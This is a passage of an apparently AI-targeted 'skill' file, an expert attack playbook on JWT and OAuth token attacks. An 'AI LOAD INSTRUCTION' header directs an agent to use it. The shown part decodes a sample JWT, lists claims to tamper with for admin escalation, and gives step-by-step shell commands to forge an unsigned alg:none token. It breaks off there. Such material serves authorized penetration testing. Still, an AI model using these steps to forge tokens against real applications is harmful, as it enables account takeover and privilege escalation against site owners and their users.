jwt-oauth-token-attacks

SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.

0. RELATED ROUTING

Use this file for token-centric attacks and flow abuse. Also load:

• oauth oidc misconfiguration for redirect URI, state, nonce, PKCE, and account-binding validation
• cors cross origin misconfiguration when browser-readable APIs or token leakage may exist cross-origin
• saml sso assertion attacks when the target uses enterprise SSO outside OAuth/OIDC

1. JWT ANATOMY

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE

Decode in terminal:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}

Common claim targets (modify to escalate):

{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "[email protected]",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

2. ATTACK 1 — ALGORITHM NONE (alg:none)

Server doesn't validate signature when algorithm is "none"/"None"/"NONE":

# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD